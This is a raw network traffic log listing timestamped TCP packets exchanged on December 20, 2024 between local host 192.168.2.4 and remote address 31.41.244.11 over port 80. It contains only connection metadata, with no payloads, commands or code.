Dec 20, 2024 04:12:47.392729998 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.393770933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.393817902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.393834114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.393873930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.394793987 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.394840002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.394895077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.394932985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.395898104 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.395941973 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.396032095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.396085978 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.397033930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.397074938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.397124052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.397165060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.398108006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.398149967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.398216963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.398260117 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.399241924 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.399293900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.399348021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.399385929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.400321960 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.400340080 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.400367022 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.400388956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.401423931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.401482105 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.401535034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.401581049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.402566910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.402616024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.402667046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.402728081 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.403654099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.403701067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.403754950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.403798103 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.538602114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.538667917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.538671017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.538729906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.539114952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.539163113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.539241076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.539287090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.540158033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.540205002 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.540215015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.540260077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.541265965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.541312933 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.541418076 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.541460037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.542381048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.542437077 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.542509079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.542556047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.543498993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.543546915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.543601990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.543643951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.544656992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.544703960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.544718027 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.544755936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.545685053 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.545728922 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.545793056 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.545851946 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.546788931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.546828985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.546909094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.546951056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.547888041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.547929049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.548002958 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.548043966 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.549010038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.549067020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.549113035 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.549150944 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.550116062 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.550158024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.550203085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.550242901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.551206112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.551254988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.551318884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.551363945 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.552330017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.552377939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.552460909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.552499056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.553456068 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.553498983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.553515911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.553555012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.554524899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.554560900 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.554613113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.554653883 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.555635929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.555675030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.555857897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.555891991 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.556757927 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.556799889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.556858063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.556900024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.557842970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.557883024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.557899952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.557936907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.558949947 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.558991909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.559058905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.559103012 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.560110092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.560157061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.560183048 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.560214996 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.561175108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.561218023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.561279058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.561321020 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.562258005 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.562303066 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.562383890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.562426090 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.563373089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.563417912 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.563421965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.563463926 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.564476967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.564522982 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.564590931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.564630985 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.565592051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.565639019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.565712929 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.565754890 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.566771030 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.566819906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.566952944 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.566996098 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.567804098 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.567856073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.567903996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.567939997 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.568917990 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.568953037 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.569087029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.569143057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.570025921 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.570064068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.570126057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.570162058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.571121931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.571162939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.571238041 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.571280003 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.572261095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.572308064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.572419882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.572463989 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.573349953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.573394060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.573452950 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.573491096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.574426889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.574470043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.574549913 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.574584961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.575553894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.575598001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.575649023 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.575687885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.576672077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.576711893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.576721907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.576747894 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.577764988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.577805042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.577886105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.577934980 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.578856945 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.578901052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.578974962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.579020023 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.579977036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.580013990 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.580076933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.580108881 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.581084013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.581119061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.581131935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.581167936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.582209110 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.582246065 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.582298994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.582333088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.583311081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.583358049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.583414078 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.583457947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.584393024 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.584439039 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.584494114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.584537029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.585510015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.585556984 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.585619926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.585661888 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.586622000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.586668015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.586740971 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.586781979 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.587716103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.587759972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.587831974 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.587873936 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.588841915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.588882923 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.588908911 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.588953972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.589931965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.589975119 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.589996099 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.590037107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.591058969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.591104984 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.591130972 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.591167927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.592158079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.592202902 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.592231989 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.592277050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.593357086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.593401909 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.593627930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.593662024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.594374895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.594424009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.594455004 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.594494104 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.595463037 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.595510960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.595575094 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.595618010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.596508026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.596560955 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.730406046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.730465889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.730499983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.730540991 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.730895996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.730942965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.731131077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.731173038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.731220961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.731267929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.732238054 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.732283115 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.732336044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.732389927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.733376980 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.733421087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.733545065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.733586073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.734446049 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.734500885 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.734563112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.734608889 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.735546112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.735609055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.735639095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.735677004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.736701012 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.736747026 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.736826897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.736881018 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.737771988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.737817049 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.737901926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.737956047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.738909006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.738957882 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.739042044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.739084005 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.739979982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.740025043 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.740112066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.740149975 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.741086006 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.741130114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.741194963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.741236925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.742192984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.742240906 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.742305040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.742357016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.743283033 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.743339062 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.743398905 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.743444920 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.744402885 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.744450092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.744509935 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.744553089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.745501995 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.745547056 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.745604992 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.745646000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.746664047 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.746701956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.746840954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.746886015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.747721910 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.747770071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.747842073 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.747888088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.748826981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.748877048 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.748944998 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.748987913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.749964952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.750009060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.750086069 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.750132084 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.751089096 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.751132965 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.751209021 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.751260042 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.752160072 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:47.752207041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:47.752213955 CET	80	49875	31.41.244.11	192.168.2.4
